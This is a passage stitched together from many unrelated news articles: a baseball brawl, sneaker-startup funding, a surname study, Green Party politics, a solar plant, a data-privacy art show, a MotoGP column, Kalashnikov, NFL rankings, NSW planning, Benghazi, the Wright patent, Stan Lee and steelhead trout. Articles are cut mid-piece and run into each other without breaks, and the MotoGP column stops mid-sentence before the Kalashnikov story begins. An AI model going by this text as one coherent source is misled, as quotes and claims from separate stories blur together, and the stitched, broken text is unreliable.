"So I wasn't really thinking about it at all. But when somebody comes at you like that, throws a 90 mph fastball where he did, I wasn't very happy with it and took it into my hands and tried to go after him."
Giants manager Bruce Bochy admitted that Strickland hitting Harper "looked bad."
"Harper gets hit. You're looking at a guy [Strickland] who has given up some home runs, and he'll tell you he was trying to come in, didn't want to make a mistake there. But it looks bad," Bochy said. "So you had two guys who probably don't care for each other much."
Strickland said he was trying to pitch inside and that once Harper charged the mound "it was go time," but the pitcher said he wasn't trying to hit the Nationals slugger.
"I can see how [our history] kind of stands in people's minds, but that's the past," Strickland said. "Like I said, I left the ball over the plate a couple times to him. He's taken advantage of that. So obviously I'd rather miss in than over the plate."
Washington manager Dusty Baker seemed to believe Strickland's errant pitch was thrown on purpose.
"We're ahead 2-0, two outs, nobody on base," Baker said. "That's a prime time to hit somebody if you're gonna hit him. It looked like it was intentional to me."
While Harper didn't enjoy being hit, he said he is glad that Strickland went about it the way he did.
"One thing I've got to say about Strickland is he hit me in the right spot, so I do respect him for that," Harper said. "He didn't come up and in toward my face like some guys do, so I respect him on that level."
Despite respecting Strickland for where he threw, Harper said he isn't sure why the Giants reliever is holding a grudge.
"It just wasn't relevant. Like I said, it was three years ago, over a thousand days I guess. I don't know why he's thinking about it," Harper said. "He's got a World Series ring. It's on his finger and he's able to look at it every single night."
Bryce Harper and Hunter Strickland exchanged blows in the opening salvos of a bench-clearing brawl between the Nationals and Giants. AP Photo/Ben Margot
Both players were ejected from the game. It was the first time Harper had been tossed for fighting in a game.
For Strickland, it was the first time he had hit an opposing batter this season in 21 appearances.
Major League Baseball will review the incident, as is the league's customary protocol following all fights.
"You never want to get suspended or anything like, but sometimes you just got to go and get them and can't hesitate," Harper said.
Both managers were happy that all of their players walked away unscathed.
"It's unfortunate," Bochy said. "It was a pretty good pile, so we're probably lucky somebody on either side didn't get hurt."
Asked if his instinct coming out of the dugout is to get Harper out of there, Baker said, "My first reaction is I can't get there as quickly as I used to. My second reaction is I don't want to get anyone stepped on or hurt."
While catchers are often expected to serve as interference between their pitcher and a charging player, Giants catcher Buster Posey largely stayed away from the fray.
"There were some big guys tumbling around out there,'' said Posey, who recently spent time on the disabled list with a concussion. "So it was a little dangerous to get in there sometimes.''
The Nationals went on to claim a 3-0 victory in the series opener.The secondary market for collectible shoes continues to grow, leading investors to pump more funds into companies serving sneakerheads. Taking advantage of both trends, Los Angeles-based GOAT has raised another $25 million in funding led by Accel Partners to hire up and expand its distribution capabilities.
GOAT provides a mobile-only marketplace where buyers and sellers connect to exchange the latest in collectible sneakers. Unlike some older, less reputable marketplaces, GOAT does the hard work of verifying that the shoes its customers buy are the real deal and not cheap knockoffs made to look like Yeezys. It also checks the condition of those sneakers to make sure your Jordans aren’t fucked up.
GOAT announced a $5 million round of funding just last August, and has investors like Matrix Partners, Upfront Ventures and Webb Investment Network already on board. But due to fast growth, the company received a lot of inbound interest from other investors looking to jump on board.
The company decided to take cash from Accel in part because of the firm’s experience taking e-commerce businesses to the next level, and in part because partner Ryan Sweeney is a huge sneakerhead and innately understood what they were doing.
Sweeney, who has backed companies like Braintree, Groupon, Lightspeed and VSCO, owns a boatload of shoes and will be joining GOAT’s board.
A better question might be why raise now, considering it “barely touched that $5 million we raised last spring,” according to CEO Eddy Lu. Since that raise, Lu says the company’s user base has grown to 1.5 million and GMV has increased 10x in that time.
As a result, Lu says GOAT has become massively understaffed and operations have quickly outgrown the three warehouses the company is working out of in Culver City.
“We started with a 2,500-square-foot warehouse, and we outgrew that during the middle of last year,” Lu said. Since then, the company has added a 4,000-square-foot facility across the street and another 7,000-square-foot warehouse nearby. With the new funding, GOAT is looking to find a space where it can bring everything back under one roof.
More importantly, the company is hoping to make sales happen more quickly by opening a new distribution center on the east coast. Currently all shoes are verified and authenticated out of its L.A. facilities, which means longer shipping and processing times for buyers and sellers in New York City, for instance. But “we want to be able to ship anywhere in two days,” Lu said.
For 2017, the company will also be investing in improving its mobile app. That includes making it easier for sellers to get their shoes up on the marketplace. “On a marketplace like this, it’s all about liquidity,” Lu said. By improving the seller flow, he hopes to make sure buyers will always be able to find something interesting on the app.
GOAT isn’t the only startup targeting the sneaker market that’s raised funding recently. New York-based Stadium Goods, another online seller of sneakers, recently raised $4.6 million from investors that include Forerunner Ventures, The Chernin Group and Mark Cuban. But Lu sees Stadium Goods as complementary to its model.
While his company is focused solely on providing a marketplace-based app, Lu says Stadium Goods has more of an omnichannel approach, including brick-and-mortar locations and selling online and through marketplaces like GOAT.Photo by Magida El-Kassis via Stocksy
Despite its archaic origins, the question of whether or not a woman should take on her husband's last name remains relevant. Just ask any of your engaged friends. Researchers have found that more than 70 percent of US adults believe a woman should change her name, and approximately half felt that doing so should be required by law. A study, published in 2017 in Gender Issues, seeks to find out why this belief is so persistent.
"The most common reason (approximately 50 percent of the cases) given by individuals who advocated women's name change was the belief that women should prioritize their marriage and their family ahead of themselves," Emily Fitzgibbons Shafer, a sociology professor at Portland State University, notes in her study.
Shafer was interested in understanding how people perceived women based on their last name choice, and whether keeping one's maiden name could cause backlash. More than 1,200 people from a national sample participated in her survey. Respondents were introduced in a randomly assigned vignette to the fictional Carol Sherman, Carol Sherman-Cook, or Carol Cook, who is married to Bill Cook: "Carol has been spending a lot of extra hours at her office job hoping for a promotion. Bill is starting to feel burdened by her absence, as he is picking up her slack in housework." Respondents were then asked to rate how committed they thought Carol was to being a wife, and assess what standards they held her to. This was determined by answering how many days Carol's husband should be okay with her working late per week (zero to five) and rating how justified he would be in divorcing her.
Read more: Women Share How Much They Hated Their Wedding Day
Shafer notes that her results were surprising. "Among women and highly educated men, women's surname choice seems to have little effect on their perceptions of women as a wife or the standards to which she is held in marriage." Low-educated men, however, thought a woman who chose a different last name from her husband's was less committed to the marriage and that her husband would be more justified in filing for a divorce "for her perceived neglect of the marriage (as measured through repeated lateness)," she writes.
it's a reflection of our cultural views, that women should put their families ahead of themselves: a view that we don't have for men.
It's important to understand how people view marital name choices because those attitudes speak to gender attitudes in general, Shafer says. "On a larger level," she tells Broadly, "there is a body of literature that shows that when women act too agentic—which is to say they act too much like men in the workplace, they act in their own self-interest, if they're not warm, if they're good managers—they face backlash in the workplace context. My work shows that women can face backlash at home as well if they're not acting 'properly' as wives."
Moreover, woman's decision to take on her husband's surname is far more than simply a name change, Shafer points out. If that were the case, she says, "why don't we see even a sizeable minority of men changing their names to their wives'? We still see that it's the vast majority of women doing it... Clearly, it's a reflection of our cultural views, that women should put their families ahead of themselves: a view that we don't have for men."
When asked what it's going to take for women to be able to make their own choice—whether they have to do with surnames, reproductive rights, or what have you—without fear of backlash, Shafer says her "pessimistic answer is dismantling the patriarchy."
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Until then, "there's great work that points to when it's economically beneficial to women to do things, then people start to accept it," she continues. "Most people accept that [women] can both work and be a good mom at the same time. That's because the vast majority of women do it now. Maybe it takes a certain amount of women to do a certain act before people start to accept it."
If more women simply kept their last names when they got married, Shafer adds, "people would see it as normalized."Vice writes about the Green Party’s efforts to take advantage of the Bernie Sanders movement, writing that much of the talk at the Left Forum in New York this week was about what Sanders supporters should do in November.
When Green Party presidential candidate Jill Stein “took the podium on Sunday, chants of ‘Jill, not Hill!’ erupted in the lecture room. She laughed, and then quickly added, ‘Yeah, you’re not kidding.'” Stein continued, “People say to me sometimes, ‘So you’re OK with getting Trump elected?’ And I say, ‘I will be horrified if Donald Trump gets elected, and I will be horrified if Hillary Clinton gets elected.’ And I’m most horrified by a political system that gives us two lethal choices and says, ‘Pick between them, and that’s it.'”
Stein added, “We are right now in the polls where Bernie Sanders was about six months ago. So don’t for a minute accept the propaganda that we are powerless, or irrelevant in this process or discussion.”
Meanwhile, The Casper Star-Tribune reports that “members of the Wyoming Green Party are planning a petition drive” to put Stein “on November’s state ballot as an independent candidate.”Recently one of the biggest solar plants in the world announced that the Ivanpah Solar Electric Generating System is now operational and delivering solar electricity to California customers.
All Three Units of 392 megawatt Ivanpah Solar Electric Generating System Now Delivering Solar Power to California’s Electric Grid. At full capacity, the facility’s trio of 450-foot high towers produces a gross total of 392 megawatts (MW) of solar power, enough electricity to provide 140,000 Californiahomes with clean energy and avoid 400,000 metric tons of carbon dioxide per year, equal to removing 72,000 vehicles off the road. (Source)
The process is straight forward and it ensures clean renewable energy.
The software controlled “mirror panels” automatically adjust to ensure maximum exposure.
The solar receiver use the concentrated sunlight to boil water and create steam.
The steam runs a turbine that generates the electricity.
Electricity is stored in termal energy storage for controlled transmission to the grid.
All three plants combined, generate enough power to fuel 140,000 homes every day. A coal, oil or methane plant will need to burn 13 MILLION TONS of carbon dioxide into the atmosphere to power that many homes for 25 years.
The plant covers 5.5 square miles and utilizes over 300,000 mirrors.
Sources:
Images: phx.corporate-ir.net
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When we walk around this city, we bleed data—invisible pieces of information about us that companies can buy and sell; government officials can track; and your employers, friends, and enemies can manipulate at will. We know all this, but it's hard to visualize just how much of our information is leaking out into the world. Enter The Glass Room, a stark art exhibition on Mulberry Street that serves as a chilling "investigation and intervention into our online lives," now on view through December 18th.
Set up like a tech store, The Glass Room—spearheaded by the Berlin-based Tactical Technology Collective and Mozilla—features a variety of art pieces dedicated to visualizing how data is sourced from the unsuspecting public, and how sinister its use can be. One piece, "Online Shopping Center" by Sam Levigne, mimics Amazon's 'predictive shopping' algorithm—which pre-purchases items for you based on patterns from your account and from others like you—by using a brain-scanner to predict what you'd like to purchase when you think about death.
Another piece, "Unfitbit," by Surya Mattu and Tega Brain, finds ways to trick the FitBit device into thinking you're active when you're not—this was dreamed up after the artists realized health insurers could use FitBit data to determine how much to insure you for, and that employers who give their employees FitBits can see when their workers are at their desks, and for how long.
Then there's "Smell Dating," by Tega Brain and Sam Levigne, a dating service of sorts that drops swiping in favor of pheromones. Participants wear a white T-shirt for three days without washing it, then send it to the service—in return, they receive a selection of pre-worn T-shirts and pick dates based on which scents appeal to them (this is a real thing!) And "The Library of Missing Data Sets," by Mimi Onuoha, visualizes "a list of data sets that are missing - datasets that do not exist, but should." Offerings include Hillary Clinton's 31,000 deleted personal emails, Donald Trump's tax returns, and reasons for the existence of dark matter.
The art pieces are fun to play with, but things get scarier a little deeper into the exhibition. One section of The Glass Room features a series of real apps available on the market, like Sickweather, in which people who have colds or feel unwell can mark their locations to warn others walking by. There's a tracker people can attach to their aging parents' medication bottles to make sure they're taking their pills each day. And there's a section on the very controversial predictive policing, where visitors can play with algorithms that police departments all over the country use to proactively determine where crimes might take place, though some justice advocates believe these algorithms only amplify existing police bias.
The information you can peruse in The Glass Room isn't necessarily new, but it's presented in a way that's more digestible for those of us who don't usually deal in data. "When we talk about data, we don't really know what we're talking about," Heinrik Chulu, a researcher with the Tactical Technology Collective, told Gothamist. "The goal here is to take the intangible nature of the Internet, and figure out how to understand the nuances and complexities of everything going on." And the visualizations are helpful.
For instance, though we know the LinkNYC public wifi system could make it easier for the NYPD and/or other officials to tap into users' web activity (CityBridge does
require a subpoena or similar lawful request before sharing any information), Glass Room artists show just how much of (and how easily) that data is made available—they put up four antennae outside the show's space on Mulberry Street, and visitors can watch data belonging to unsuspecting passersby ping on a big screen. "You can see the make of each phone, what wifi they're connecting to," Chulu pointed out, noting someone could track people with a laptop using the information available. "If you walk by a kiosk, they can see your phone and your network. They could track you around the city. If you know someone's identifiers, you can ping them anytime they enter the room."
But The Glass Room doesn't just frighten you into trashing your cell phone and throwing your laptop out the window. It also attempts to offer solutions to help you cut back on some of that data you're dribbling out all the time. Free workshops like "What The Facebook?" show you how much information you're sharing to the public on social media, and how to cut back on it. Another, "De-Googlize Your Life," will point out how much data you feed to Google on Gmail, Google Docs, Google search and other services, and how to minimize your trace (you can also take a look at your data shadow online). The Glass Room also hands out free 8-Day Data Detox Kits, which will help you determine which apps bleed less of your information, though it might cost you Twitter, Uber, and Google.
These tips might not be enough to get you off the grid, but it's useful to know exactly how much of you is out there on the Interwebs, especially when facing whatever dystopian future awaits in the coming years.
The Glass Room is at 201 Mulberry Street through December 18th. The gallery is open from 12 to 8 p.m. daily, and is free to visit. You can visit their website at theglassroom.org.Freddie Spencer gives his take on the last-lap decider at the Austrian Grand Prix and shares memories from over the years
Racing memories from Austria
I never raced at the Red Bull Ring, but I did race at the other track that was used for so many years for the Austrian Grand Prix: the Salzburgring. That was also a very fast circuit in its day and was one of the tracks that I always looked forward to, even though it was a little bit dangerous. I liked it because of the challenges it put on the riders, especially going up the hill on the back straightaway and the changes of direction at such a high speed. You had to be so precise and so early, putting the bike in the right position as you were changing up to fourth, fifth, sixth going up the hill. It was also nice having the power of the Hondas during some of those years, especially in ’85.
I have a couple of interesting stories about the first time that I raced at the Salzburgring, because it was the very first European round of the world championship in 1982. It was my first year of HRC, my first full season and it came after just one race in Argentina. So I show up there with my brand new motorhome and first thing, I couldn’t get it through the tunnel! We ripped the ladder off the back of it, so an auspicious start to my first European race in the world championship!
Anyway, we survived that, got the motorhome parked and everything was good and I woke up the first morning on the first day of practice and qualifying and I’ll never forget it. It’s up in the mountains, early in April so you can imagine it was still cold and I could hear rain on top of the motorhome. That’s what woke me up, actually.
I got up and ate breakfast and was getting all ready and it was about 15 minutes before practice was going to start when the rain that had been continuously falling turned to something a little harder on top of the motorhome. I recognised it from back in Louisiana when we would get sleet or even hail on the metal patio part on the back of my house growing up. My first reaction as I was getting dressed was they’ll call off practice, because obviously we’re not going to practice in this sleet or hail.
But just as I finished saying that, over the loudspeaker the announcer said “500 practice in 15 minutes.” It was funny because Mr Williams, a gentleman from back home who was accompanying me on this trip, said ‘well, I guess welcome to the world championship!’ That was my first memory of racing in Austria. It was an amazing, amazing event and the German fans – in all the German-speaking countries – it’s amazing how much they love racing. So it reminds me of that track when I look at how high-speed the Red Bull Ring is, but it isn’t that simple.
Challenges of the Red Bull Ring
The track is very challenging for the riders, even in those slower first, second and third gear corners because they’re all different. They require a different challenge to be able to judge your braking distance, get the bike slowed down and turned whilst not overcharging the corners (which we saw a lot at the weekend) and getting in a position to maximise the exit. One thing I think Dovizioso did so well was manage his entry speed and direction change to make sure he got off the corner consistently. In many ways he was better than anyone else over the entire race weekend.
Dovi delivers under the weight of expectation
After qualifying he talked about how he struggled, he really didn’t feel comfortable, and there was a lot of expectation that he was putting on himself and that he felt from everyone. That’s because of last year, when Iannone won the race and Dovi didn’t, and I think he felt he could’ve won the race last year at the Red Bull Ring. So this year there was a lot of that expectation, having already won two races this season, so he expected to do well there.
Jorge Lorenzo downplayed his expectations, because in the press the day before Rossi had been saying that this is really a place where Lorenzo should get his season turned around and if he’s going to have a chance of winning, it should be here. Lorenzo downplayed that a little bit, understandably, to take the pressure off a bit. But I know he felt after the test session they had after the Czech Grand Prix at Brno that he felt the new fairing is certainly helping him with front-end stability, direction change and on exit keeping the front wheel down. But certainly he had the inside feeling that maybe this would be the weekend that he’d get the first win on the Ducati, so going into the race there was a lot of expectations from the Ducati camp.
If you look at Valentino Rossi, his championship dreams for this year are not looking as good as they did at the start of the season expectation-wise and his team-mate, Maverick Viñales, has not really done much since those first three wins. He’d have wanted to get his year turned around this week, so from the Yamaha camp this was the mindset for them; Viñales needed to get back up there and Rossi needed to continue doing what he’s doing, which is amazing.
Márquez and Honda play the long game
In the Honda camp, with the result of Brno getting a first and second, they were going in feeling fairly positive about the Honda. I’ve talked a little bit about their struggle with acceleration off the corners, but that seems to be something that it has worked out a little bit. It’s probably something that’s just through electronics, but there’s only so much it can do because everybody uses the same electronics. Honda can certainly manage the wheelspin while not compromising acceleration off of the corner. Márquez came back strongly with that win at the Sachsenring and then of course at Brno with a great ride, and then going into this weekend Honda getting Márquez on to the podium would have been a great result.
Qualifying was pretty good: the two Ducatis were on the front row and Marc of course on pole with an incredible lap. He was able to do that by managing his aggressive style. As I’ve said, this race track doesn’t really reward that style like it does at Brno; you need to be a bit smoother and it’s very easy to be too aggressive on corner entry and hurt yourself at the Red Bull Ring.
The start of the race was exactly as I expected: Lorenzo got out front and tried to pull away. With he and Dovi on the soft rear tyre and Marc and Pedrosa choosing the hard, you would think that the hard tyre would take a few more laps to get up to temperature. There’s not a whole lot of difference between the soft, medium and hard compound tyres this year. The only real difference between the soft and the hard is that the hard takes a couple more laps to get up to temperature and it should last a little bit longer.
Electronics and tyre management
The riders can have a big effect on tyres and that’s always been the case. It was the same in my era. I’d usually run a softer tyre than everyone else and just manage it with throttle control, lean angle and making sure I didn’t put too much stress on the |
invention was tempered with sadness at its use by criminals and child soldiers.
"It is painful for me to see when criminal elements of all kinds fire from my weapon," Kalashnikov said in 2008.
He designed this rifle to defend his country, not so terrorists could use it in Saudi Arabia Cyril Alexander Volkov, Press secretary for Russian Patriarch Kirill
Defend his country
In his letter to Patriarch Kirill, Kalashnikov said that he first went into a church at the age of 91 and was later baptised.
The BBC's Steve Rosenberg in Moscow says it is unclear how much of it he wrote himself. Izvestia quotes Kalashnikov's daughter, Elena, as saying she believes a priest helped her father compose the letter.
The press secretary for the Russian Patriarch, Cyril Alexander Volkov, told the paper the religious leader had received Kalashnikov's letter and had written a reply.
"The Church has a very definite position: when weapons serve to protect the Fatherland, the Church supports both its creators and the soldiers who use it," Mr Volkov was quoted as saying.
"He designed this rifle to defend his country, not so terrorists could use it in Saudi Arabia."
Kalashnikov received many Russian state honours, including the Order of Lenin and the Hero of Socialist Labour, but made little money from his gun.
He died on 23 December after being admitted to hospital a month earlier with internal bleeding.Welcome to theScore's Likability Index, wherein we rank teams in several completely subjective categories to determine the NFL's most likable team.
Teams are ranked below based on the average of their scores across our four primary categories.
T-31. Washington Redskins
Uniforms Fan Experience Management Players 23 29 32 32
Aside from the relatively mediocre uniform design, there just wasn't much working in the Redskins' favor here. The likability of both management and players ranked dead last among the league's 32 teams, due mostly to the constant circus surrounding both owner Daniel Snyder and quarterback Robert Griffin III.
T-31. Tampa Bay Buccaneers
Uniforms Fan Experience Management Players 32 31 23 30
Alarm-clock jerseys, attendance woes, an uninspiring head coach, and a quarterback with a checkered past (to put it politely) land the Buccaneers in a tie for least likable team in the league.
30. Tennessee Titans
Uniforms Fan Experience Management Players 28 28 29 29
The Titans' roster is devoid of star players, their general manager has a terrible track record, their head coach is 3-25 over his last 28 games in charge of an NFL franchise, and their ownership situation is muddier than any in the NFL. There's just not a lot for fans to latch onto.
29. St. Louis Rams
Uniforms Fan Experience Management Players 25 30 30 26
Die-hard Rams fans fighting to keep the team in St. Louis deserve all the credit in the world, but this franchise can't shake the look and feel of a sinking ship. It starts at the top, where the owner is doing everything he can to relocate and the head coach hasn't topped.500 in half a decade.
28. Cleveland Browns
Uniforms Fan Experience Management Players 30 11 31 28
The new uniforms, dysfunctional management team, and a less-than-exciting group of players bring the Browns' overall ranking down, but the fans have always been among the league's best. Cleveland could easily have been in the last spot overall were it not for the Dawg Pound.
27. Cincinnati Bengals
Uniforms Fan Experience Management Players 27 26 22 22
Andy Dalton personifies the Bengals' likability: he's average enough to drag his team out of the basement, but nowhere near good enough to ascend to the top of the pile. Considering the Bengals' brutal history, this could be seen as progress. Very slow progress, but progress nonetheless.
T-25. Atlanta Falcons
Uniforms Fan Experience Management Players 22 32 19 22
If the Atlanta Falcons were an ice cream flavor, they would be vanilla. Their star player lacks personality and their fans are so quiet that management pumped in artificial crowd noise. Vanilla's not a bad flavor, but there are many better choices.
T-25. Jacksonville Jaguars
Uniforms Fan Experience Management Players 30 24 10 31
Ultimately, the newfound confidence instilled by an impressive management regime is what's going to lead this team back to contention before long. That's something fans can be excited about, regardless of the horrendous new uniforms and largely unknown roster.
24. Miami Dolphins
Uniforms Fan Experience Management Players 19 25 26 22
Head coach Joe Philbin is totally uninspiring, with his bland style of management highlighted on HBO's "Hard Knocks." Dennis Hickey is doing his best to erase the poisonous work of former general manager Jeff Ireland, but still needs time. And if the fans would arrive sometime approaching kickoff, this organization would be higher on the list.
23. Detroit Lions
Uniforms Fan Experience Management Players 20 23 27 14
Calvin Johnson is one of the league's most entertaining players, helping the Lions overcome a bland color scheme and inept management. Detroit could ascend through the rankings if they continue to operate an up-tempo, pass-heavy offense.
22. San Francisco 49ers
Uniforms Fan Experience Management Players 7 19 28 25
The iconic uniforms will always earn the 49ers points in this kind of exercise, but the increasingly uninspiring front-office staff drags their ranking down much further than expected. Running one of the NFL's best head coaches out of town is a significant factor here, and Jim Tomsula's introductory press conference in replacing him was beyond ridiculous.
21. San Diego Chargers
Uniforms Fan Experience Management Players 18 26 20 14
Much like the Chargers' on-field success in the past few seasons, their likability is middle-of-the-pack. The players land a high grade due in large part to the sheer toughness with which the franchise quarterback plays the game, but the awful stadium situation drags down the overall fan experience.
20. Baltimore Ravens
Uniforms Fan Experience Management Players 20 13 25 12
It says something when the Ravens – a team with one of the best general managers of all time in Ozzie Newsome – get their worst score for management. That something is that this team bungled the Ray Rice situation from beginning to end, and still has a long way to go in earning back trust.
19. Oakland Raiders
Uniforms Fan Experience Management Players 1 20 24 20
The silver-and-black uniforms will always make for one of the NFL's best looks, but Mark Davis's presence at the top of the organization is anything but inspiring. The Raiders' league-worst stadium situation also loses them points for fan experience despite having a dedicated and iconic following.
18. New York Jets
Uniforms Fan Experience Management Players 15 18 21 10
Darrelle Revis's return to New York improves an already strong defense. Although the fans can be obnoxious at times, no one can deny their faithful passion for the game. General manager Mike Maccagnan must prove he can undo a number of toxic moves made by former GM John Idzik.
17. New Orleans Saints
Uniforms Fan Experience Management Players 28 6 17 12
The Saints check in with some fairly impressive rankings in all categories – aside from those awful uniforms. One of the league's best fan experiences balances that out, however, keeping the team's overall ranking from slipping too far down the board.
T-15. Minnesota Vikings
Uniforms Fan Experience Management Players 10 14 17 21
Minnesota's purple uniforms became a lot more sleek and alluring after Nike's latest redesign. The fans valiantly show up for their club in inclement weather, and are publicly funding the majority of the team's new stadium. With an up-and-coming roster, the Vikings could soon be on the rise.
T-15. Arizona Cardinals
Uniforms Fan Experience Management Players 26 21 5 10
The Cardinals don't impress in the first two categories, but the management and players in place are factors that have to create some excitement for fans. A combination of Bruce Arians and Steve Keim is easily among the most likable front offices in the league.
14. Carolina Panthers
Uniforms Fan Experience Management Players 24 22 8 6
Cam Newton, the reigning Walter Payton Man of the Year, and a head coach who embraced his alternate persona as a gambler... There's a lot to like here. It's time for Panthers fans to step up and create a significant identity of their own.
13. Chicago Bears
Uniforms Fan Experience Management Players 3 7 14 27
The Bears' classic uniforms and rich fan traditions are a stark contrast to the intense unlikability of Jay Cutler. Essentially, a single player drops this team out of the top 10.
12. New England Patriots
Uniforms Fan Experience Management Players 13 17 15 5
Fans have plenty of reasons to hate the Patriots, but there's also actually a lot to like here. Football inflation levels aside, Tom Brady has developed a strong social media presence. And then there's Gronk. That one's self-explanatory.
11. Kansas City Chiefs
Uniforms Fan Experience Management Players 14 10 8 17
Colorful uniforms, eardrum-shattering crowds, and world-class barbecue all earn the Chiefs significant points. Only a lack of star power on offense keeps the team out of the top 10.
10. Houston Texans
Uniforms Fan Experience Management Players 12 16 11 6
Everything else is near the middle of the pack, but J.J. Watt's presence landed the Texans plenty of points when it came to the player likability rankings. The Texans should be fun to watch on "Hard Knocks" this summer.
9. Philadelphia Eagles
Uniforms Fan Experience Management Players 11 12 7 14
Chip Kelly's innovative (some would call it improvised) roster management could blow up in his face, but for now he gets credit for showing conviction and, for the most part, producing strong results on the field. The Eagles nudge their way into the top 10 as a result.
8. Dallas Cowboys
Uniforms Fan Experience Management Players 8 3 13 18
Jerry Jones is a polarizing figure, but earned mostly positive grades in this exercise. His commitment to doing whatever it takes to maintain the Cowboys' place as "America's Team" is laudable.
7. Buffalo Bills
Uniforms Fan Experience Management Players 4 4 11 19
The Bills gained major points, in large part due to their fans sticking with the club through the NFL's longest playoff drought. When the Bills revamped their uniforms after Nike became the league's provider, their jerseys went from hideous to classic. With one of the league's fastest rosters, the Bills are on the rise.
6. New York Giants
Uniforms Fan Experience Management Players 9 14 4 8
The Giants received high grades for their stable management, appealing aesthetic, and a certain young wide receiver who happens to be very exciting to watch. Their likability is on the upswing.
5. Denver Broncos
Uniforms Fan Experience Management Players 17 9 6 2
Though the uniforms need some work, the Broncos' strong rankings in all other categories combine to place them among the NFL's most likable teams. With Peyton Manning and plenty of star power elsewhere on the roster, Denver checked in with the league's second-most likable group of players.
4. Indianapolis Colts
Uniforms Fan Experience Management Players 6 8 15 4
Slow and steady helps the Colts (nearly) win the race here. Their uniforms are classic, their fans are football-savvy, and their quarterback congratulates opposing defenders after they deliver big hits. It's hard to find anything about the Colts that isn't likable.
3. Seattle Seahawks
Uniforms Fan Experience Management Players 16 5 2 1
If you don't like the Seahawks, you're probably just tired of seeing them dominate your team on the field. The uniforms aren't great, but with the league's loudest fans, a great management team, and plenty of intriguing personalities on the roster, there haven't been many teams more enjoyable to follow over the past few seasons.
2. Pittsburgh Steelers
Uniforms Fan Experience Management Players 4 2 3 9
Steelers fans are despised by rivals, but much of that sentiment is due to jealousy. This is a first-class organization that almost always conducts business intelligently on and off the field. It's no wonder there are legions of Steelers fans across the nation and around the world.
1. Green Bay Packers
Uniforms Fan Experience Management Players 1 1 1 2
The Packers are the closest thing we have to a perfectly run franchise in North American sports. Green Bay is the only publicly owned franchise in major professional sports, rocks iconic green-and-yellow uniforms, and boasts a cunning, calculating general manager in Ted Thompson. A perennial Super Bowl contender led by reigning MVP Aaron Rodgers, the Packers are the most likable club in the NFL.Councils are pushing up the cost of new homes by claiming large sums to approve large residential buildings – a practice that can hold the planning process "to ransom", the NSW Planning Minister has warned.
Rob Stokes said on Friday he was moving to rein in the growing use of little-publicised "Voluntary Planning Agreements", which the development industry says can add tens of thousands of dollars to new apartments.
The agreements allow councils to strike deals with developers who trade infrastructure contributions or cash transfers in exchange for approving development projects that exceed planning limits.
"We have a case where assessment processes are being held to ransom, increasing costs for new homes by up to thousands – a cost being borne, in the end, by home buyers," Mr Stokes said.People sign a condolence book for Ambassador Chris Stevens at the U.S. Capitol on Sept. 14, 2012, in Washington, D.C. | Getty Benghazi aide to Chris Stevens slams 'political attacks'
The Libyan man whose job was to coordinate Ambassador Chris Stevens’ fateful 2012 trip to Benghazi, Libya, decried the political attacks surrounding Stevens’ death as damaging to the late ambassador’s true legacy.
Bubaker Habib, a local contractor who worked for the U.S. diplomatic mission in Benghazi, described Stevens in a Washington Post opinion piece as a dedicated diplomat who knew the risks of his trip to the Libyan city but felt compelled to go anyways. To use his death to advance a political agenda, Habib said, is “offensive, to me, to the truth and to Chris’s memory.”
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“The political attacks based on the events of that night portray Chris not as the hero and leader that he was but as the pawn and the victim of incompetence or worse in Washington,” Habib wrote, identifying Stevens as "my friend." “To allow a cloud of false and misguided allegations to remain over Chris would be to compound that loss. His memory and mission must be given the true honor and recognition they deserve.”
Habib, who watched from the tarmac as Stevens’ body was loaded onto a U.S. bound plane and later immigrated to America when it became clear he was no longer safe in Libya, said he has been approached by parties asking him, sometimes via threats or offers of payment, to endorse what he called “false versions of events that night.”
Habib did not say who had made those approaches, but said he has already offered the true version of events to law enforcement, the State Department and the House Select Committee on Benghazi. Habib said the blame for the ambassador’s death “rests entirely and unquestionably on those who carried out the attacks.”
“The repeated attempts to get me to endorse unfounded theories and the fact that politicians and others continue to revive false narratives and accusations have pushed me to step out from the shadows,” Habib wrote. “Chris does not deserve to have his legacy undermined in this way.”Federal agents are searching for the patent and related documents, which no one is known to have seen since around 1980.
NARA
In March of 1903, the Wright brothers applied for a patent, swearing that "they verily believe themselves to be the original, first, and joint inventors of improvements in flying machines." It was granted three years later. But now it's nowhere to be found, according to a recent 60 Minutes report. As Air & Space/Smithsonian magazine's Daily Planet blog explains:
From 1969 to 1980, the patent file for the Wright Flyer was passed around various National Archives offices, and it spent some time at the National Air and Space Museum. The document was returned to the Archives in 1979, and somebody there remembers laying eyes on it in 1980, says [Mitch Yockelson, an investigative archivist at the National Archives]. When curators began planning a commemoration of the Centennial of Flight, in 2003, the patent file had vanished. What might it fetch on eBay, where missing items regularly turn up? "Millions, I assume," Yockelson says. "No, wait: actually, it's priceless."
Yockelson and his team of investigators are working to locate the patent and other missing items for the Archives. They travel to collector's shows, set up a booth with facsimiles of what they're looking for, and hope that someone they talk to has seen a missing piece of history.
H/t @paleofuture.Spider-Man creator Stan Lee is suing comic book company Marvel after claiming they shut him out of "jackpot" profits from the recent blockbuster film.
The Spider-Man movie has taken more than $800m (£500m) at worldwide box offices and millions more from video and DVD sales - but Mr Lee says he has not seen a penny.
The 79-year-old - who worked for Marvel for more than 60 years - said he had an agreement with the publisher to get 10% of their profits from films and TV shows based on his creations.
Marvel has reported millions of dollars in earnings from the Spider-Man film - but no profits as defined by their contract.
As well as Spider-Man, Lee created the Incredible Hulk and X-Men characters.
He also wants a judge to ensure he gets a share of the takings from upcoming movies based on his characters, including a Spider-Man sequel, due in 2004.
The next film based on a Lee creation will be Daredevil, starring Ben Affleck. A Hulk film and X-Men sequel are also in the pipeline.
"Despite reaping enormous benefits from Mr Lee's creations, defendants have failed and refused to honour their commitments to him," the lawsuit says.
Marvel was "built on the wings" of his creation, the suit says, and Mr Lee put his trust in them.
Marvel believes it is in full compliance with... the terms of Mr Lee's employment agreement
Marvel statement
Marvel executives have received "enormous windfalls" from the X-Men and Spider-Man films and merchandise, according to the lawsuit, which was filed at Manhattan federal court.
But Marvel said Mr Lee continued to be "well compensated" for his past contributions to the company and the comic book industry.
"Marvel believes it is in full compliance with, and current on all payments due under, the terms of Mr Lee's employment agreement and will continue to be so in the future," a statement said.
On Saturday, Lee was given one of the inaugural Golden Panel Awards by The New York City Comic Book Museum.CORVALLIS, Ore. - A new study on steelhead trout in Oregon offers genetic evidence that wild and hatchery fish are different at the DNA level, and that they can become different with surprising speed.
The research, published today in Nature Communications, found that after one generation of hatchery culture, the offspring of wild fish and first-generation hatchery fish differed in the activity of more than 700 genes.
A single generation of adaptation to the hatchery resulted in observable changes at the DNA level that were passed on to offspring, scientists reported.
